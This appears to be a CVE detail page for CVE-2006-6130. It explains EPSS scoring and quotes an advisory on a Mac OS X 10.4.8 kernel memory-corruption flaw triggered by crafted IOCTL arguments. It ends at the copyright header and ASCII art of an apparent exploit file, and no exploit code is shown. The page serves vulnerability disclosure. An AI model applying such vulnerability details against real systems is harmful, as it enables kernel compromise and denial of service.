CVE-2006-6130 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/21317/info Apple Mac OS X is prone to a local memory-corruption vulnerability. This issue occurs when the operating system fails to handle specially crafted arguments to an IOCTL call. Due to the nature of this issue, an attacker may be able to execute arbitrary machine code in the context of the affected kernel, but this has not been confirmed. Failed exploit attempts result in kernel panics, denying service to legitimate users. Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected. /* * Copyright 2006 (c) LMH <lmh@info-pull.com>. * All Rights Reserved. * ---- * * .--. .--. _____________________________________ * _..-: (X : o :-.._ / heya! me Gruber Duckie.
